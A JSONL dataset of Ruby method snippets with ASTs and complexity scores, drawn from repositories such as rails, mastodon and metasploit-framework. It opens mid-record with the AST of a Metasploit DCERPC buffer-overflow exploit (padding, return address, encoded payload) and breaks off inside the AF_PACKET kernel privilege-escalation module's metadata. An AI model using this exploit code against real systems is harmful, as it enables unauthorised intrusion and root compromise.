end","complexity_score":43.38,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"handle\",{\"type\":\"send\",\"children\":[null,\"dcerpc_handle\",{\"type\":\"str\",\"children\":[\"62b93df0-8b02-11ce-876c-00805f842837\"]},{\"type\":\"str\",\"children\":[\"1.0\"]},{\"type\":\"str\",\"children\":[\"ncacn_ip_tcp\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Binding to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handle\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"dcerpc_bind\",{\"type\":\"lvar\",\"children\":[\"handle\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bound to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handle\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0004\\b\\f\\u0005\\u0000\\u0000\\u0000\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dcerpc\"]},\"call\",{\"type\":\"int\",\"children\":[43]},{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"string\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[1002]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dcerpc_call\",{\"type\":\"int\",\"children\":[138]},{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"DCERPC\"]},\"Exceptions\"]},\"NoResponse\"]}]},null,null]},null]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"8d42b4a8-de46-46dd-a01b-0e4b2cf2613e"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/spec/support/generator_test_helpers.rb","start_line":26,"raw_source":"def within_test_app(app_path, &)\n    api_key = ENV.fetch('OPENAI_API_KEY', 'test')\n    Bundler.with_unbundled_env do\n      ENV['OPENAI_API_KEY'] = api_key\n      Dir.chdir(app_path, &)\n    end\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"within_test_app\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app_path\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"api_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"OPENAI_API_KEY\"]},{\"type\":\"str\",\"children\":[\"test\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"with_unbundled_env\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"OPENAI_API_KEY\"]},{\"type\":\"lvar\",\"children\":[\"api_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"lvar\",\"children\":[\"app_path\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]}]}]}]}","id":"f780d51d-062d-401a-8927-622bab2f5a09"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/lib/ahoy/base_store.rb","start_line":92,"raw_source":"def request\n      @request ||= @options[:request] || controller.try(:request)\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@request\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"try\",{\"type\":\"sym\",\"children\":[\"request\"]}]}]}]}]}","id":"69d1bc9d-fcfa-46d7-b03b-86772b9351a0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/account/field.rb","start_line":10,"raw_source":"def initialize(account, attributes)\n    # Keeping this as reference allows us to update the field on the account\n    # from methods in this class, so that changes can be saved.\n    @original_field = attributes\n    @account        = account\n\n    super(\n      name: sanitize(attributes['name']),\n      value: sanitize(attributes['value']),\n      verified_at: attributes['verified_at']&.to_datetime,\n    )\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]},{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@original_field\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"lvar\",\"children\":[\"account\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"sanitize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"sanitize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verified_at\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"verified_at\"]}]},\"to_datetime\"]}]}]}]}]}]}","id":"5a80815b-7cc3-4322-82b3-1c8f066ee1b4"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/lib/mastodon/cli/maintenance_spec.rb","start_line":484,"raw_source":"def prepare_duplicate_data\n          ActiveRecord::Base.connection.remove_index :statuses, :uri\n          Fabricate(:status, account: account, uri: uri)\n          duplicate = Fabricate.build(:status, account: account, uri: uri)\n          duplicate.save(validate: false)\n          Fabricate(:status_pin, account: account, status: duplicate)\n          Fabricate(:status, in_reply_to_id: duplicate.id)\n          Fabricate(:status, reblog_of_id: duplicate.id)\n        end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_duplicate_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"remove_index\",{\"type\":\"sym\",\"children\":[\"statuses\"]},{\"type\":\"sym\",\"children\":[\"uri\"]}]},{\"type\":\"send\",\"children\":[null,\"Fabricate\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[null,\"account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"duplicate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fabricate\"]},\"build\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[null,\"account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"uri\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicate\"]},\"save\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Fabricate\",{\"type\":\"sym\",\"children\":[\"status_pin\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[null,\"account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"duplicate\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Fabricate\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_reply_to_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicate\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Fabricate\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reblog_of_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicate\"]},\"id\"]}]}]}]}]}]}","id":"8b325c57-9792-4e4d-91ed-ca3921034a15"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/handler/service_desk_handler.rb","start_line":171,"raw_source":"def message_including_template\n          description = message_including_reply_or_only_quotes\n          template_content = service_desk_setting&.issue_template_content\n\n          if template_content.present?\n            description += \"  \\n\" + template_content\n          end\n\n          description\n        end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"message_including_template\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"description\",{\"type\":\"send\",\"children\":[null,\"message_including_reply_or_only_quotes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"template_content\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_desk_setting\"]},\"issue_template_content\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_content\"]},\"present?\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"description\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"  \\n\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"template_content\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}","id":"06ab7261-df28-4b3a-ae75-a84cc8e2ac43"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/request_forgery_protection.rb","start_line":378,"raw_source":"def reset_csrf_token(request) # :doc:\n      request.env.delete(CSRF_TOKEN)\n      csrf_token_storage_strategy.reset(request)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_csrf_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"env\"]},\"delete\",{\"type\":\"const\",\"children\":[null,\"CSRF_TOKEN\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"csrf_token_storage_strategy\"]},\"reset\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]}","id":"78bcff12-f72c-4db7-9168-151dc40e8d22"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/crm/leadsquared/mappers/conversation_mapper.rb","start_line":9,"raw_source":"def self.map_conversation_activity(hook, conversation)\n    new(hook, conversation).conversation_activity\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"map_conversation_activity\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook\"]},{\"type\":\"arg\",\"children\":[\"conversation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"hook\"]},{\"type\":\"lvar\",\"children\":[\"conversation\"]}]},\"conversation_activity\"]}]}","id":"ad59f207-4e87-497f-a552-4318e19a5c36"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/mail_helper_test.rb","start_line":47,"raw_source":"def use_block_format\n    @text = <<-TEXT\nThis is the\nfirst     paragraph.\n\nThe second\n   paragraph.\n\n* item1 * item2\n  * item3\n    TEXT\n\n    mail_with_defaults do |format|\n      format.html { render(inline: \"<%= block_format @text %>\") }\n    end\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"use_block_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@text\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"This is the\\n\"]},{\"type\":\"str\",\"children\":[\"first     paragraph.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"The second\\n\"]},{\"type\":\"str\",\"children\":[\"   paragraph.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"* item1 * item2\\n\"]},{\"type\":\"str\",\"children\":[\"  * item3\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mail_with_defaults\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"str\",\"children\":[\"<%= block_format @text %>\"]}]}]}]}]}]}]}]}","id":"6e3af26f-ed3a-41ae-b676-38bfd8966a42"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/repository/test_proc_result_cache.rb","start_line":59,"raw_source":"def test_raises_error_if_one_of_multiple_arguments_is_not_an_int_or_date\n    function = lambda { |year, month, day| Date.civil(year, month, day) + 1 }\n    year = 2016\n    month = 1\n    day = \"1\"\n\n    assert_raise ArgumentError do\n     @subject.lookup(function, year, month, day)\n    end\n  end","complexity_score":12.33,"ast_json":"{\"type\":\"def\",\"children\":[\"test_raises_error_if_one_of_multiple_arguments_is_not_an_int_or_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"function\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"year\"]},{\"type\":\"arg\",\"children\":[\"month\"]},{\"type\":\"arg\",\"children\":[\"day\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"lvar\",\"children\":[\"year\"]},{\"type\":\"lvar\",\"children\":[\"month\"]},{\"type\":\"lvar\",\"children\":[\"day\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"year\",{\"type\":\"int\",\"children\":[2016]}]},{\"type\":\"lvasgn\",\"children\":[\"month\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"day\",{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"lookup\",{\"type\":\"lvar\",\"children\":[\"function\"]},{\"type\":\"lvar\",\"children\":[\"year\"]},{\"type\":\"lvar\",\"children\":[\"month\"]},{\"type\":\"lvar\",\"children\":[\"day\"]}]}]}]}]}","id":"b5f03204-c8b5-46c4-98c3-4f9066900dda"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute_set.rb","start_line":102,"raw_source":"def reverse_merge!(target_attributes)\n      attributes.reverse_merge!(target_attributes.attributes) && self\n    end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"reverse_merge!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_attributes\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"reverse_merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_attributes\"]},\"attributes\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"1725bc39-4ee0-420e-92e2-3a3f98875782"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/ldap/ui/console/command_dispatcher.rb","start_line":34,"raw_source":"def client\n            console = shell\n            console.client\n          end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"console\",{\"type\":\"send\",\"children\":[null,\"shell\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"console\"]},\"client\"]}]}]}","id":"53d93de0-fdac-4cec-9c40-031b3a3012eb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/af_packet_packet_set_ring_priv_esc.rb","start_line":17,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'AF_PACKET packet_set_ring Privilege Escalation',\n        'Description' => %q{\n          This module exploits a heap-out-of-bounds write in the packet_set_ring\n          function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel\n          to execute code as root (CVE-2017-7308).\n\n          The bug was initially introduced in 2011 and patched in version 4.10.6,\n          potentially affecting a large number of kernels; however this exploit\n          targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46,\n          including Linux distros based on Ubuntu Xenial, such as Linux Mint.\n\n          The target system must have unprivileged user namespaces enabled and\n          two or more CPU cores.\n\n          Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation\n          may crash the kernel.\n\n          This module has been tested successfully on Linux Mint 18 (x86_64)\n          with kernel versions:\n\n          4.8.0-34-generic;\n          4.8.0-36-generic;\n          4.8.0-39-generic;\n          4.8.0-41-generic;\n          4.8.0-42-generic;\n          4.8.0-44-generic;\n          4.8.0-45-generic.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Andrey Konovalov', # Discovery and C exploit\n          'bcoles' # Metasploit\n        ],\n        'DisclosureDate' => '2017-03-29',\n        'Platform' => [ 'linux' ],\n        'Arch' => [ ARCH_X86, ARCH_X64 ],\n        'SessionTypes' => [ 'shell', 'meterpreter' ],\n        'Targets' => [[ 'Auto', {} ]],\n        'Privileged' => true,\n        'References' => [\n          [ 'EDB', '41994' ],\n          [ 'CVE', '2017-7308' ],\n          [ 'BID', '97234' ],\n          [ 'URL', 'https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html' ],\n          [ 'URL', 'https://www.coresecurity.com/blog/solving-post-exploitation-issue-cve-2017-7308' ],\n          [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7308.html', ],\n          [ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c' ],\n          [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/cve-2017-7308/CVE-2017-7308/poc.c' ]\n        ],\n        'Notes' => {\n          'Reliability' => [ REPEATABLE_SESSION ],\n          'Stability' => [ CRASH_OS_DOWN ],\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS,\n        },\n        'DefaultTarget' => 0\n      )\n    )\n    register_options [\n      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])\n    ]\n    register_advanced_options [\n      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\n    ]\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"AF_PACKET packet_set_ring Privilege Escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a heap-out-of-bounds write in the packet_set_ring\\n\"]},{\"type\":\"str\",\"children\":[\"          function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel\\n\"]},{\"type\":\"str\",\"children\":[\"          to execute code as root (CVE-2017-7308).\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The bug was initially introduced in 2011 and patched in version 4.10.6,\\n\"]},{\"type\":\"str\",\"children\":[\"          potentially affecting a large number of kernels; however this exploit\\n\"]},{\"type\":\"str\",\"children\":[\"          targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46,\\n\"]},{\"type\":\"str\",\"children\":[\"          including Linux distros based on Ubuntu Xenial, such as Linux Mint.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The target system must have unprivileged user namespaces enabled and\\n\"]},{\"type\":\"str\",\"children\":[\"          two or more CPU cores.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation\\n\"]},{\"type\":\"str\",\"children\":[\"          may crash the kernel.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module has been tested successfully on Linux Mint 18 (x86_64)\\n\"]},{\"type\":\"str\",\"children\":[\"          with kernel versions:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          4.8.0-34-generic;\\n\"]},{\"type\":\"str\",\"children\":[\"          4.8.0-36-generic;\\n\"]},{\"type\":\"str\",\"children\":[\"          4.8.0-39-generic;\\n\"]},{\"type\":\"str\",\"children\":[\"          4.8.0-41-generic;\\n\"]},{\"type\":\"str\",\"children\":[\"          4.8.0-42-generic;\\n\"]},{\"type\":\"str\",\"children\":[\"          4.8.0-44-generic;\\n\"]},{\"type\":\"str\",\"children\":[\"          4.8.0-45-generic.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Andrey Konovalov\"]},{\"type\":\"str\",\"children\":[\"bcoles\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-03-29\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Auto\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"41994\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-7308\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"97234\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.coresecurity.com/blog/solving-post-exploitation-issue-cve-2017-7308\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7308.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/bcoles/kernel-exploits/blob/cve-2017-7308/CVE-2017-7308/poc.c\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\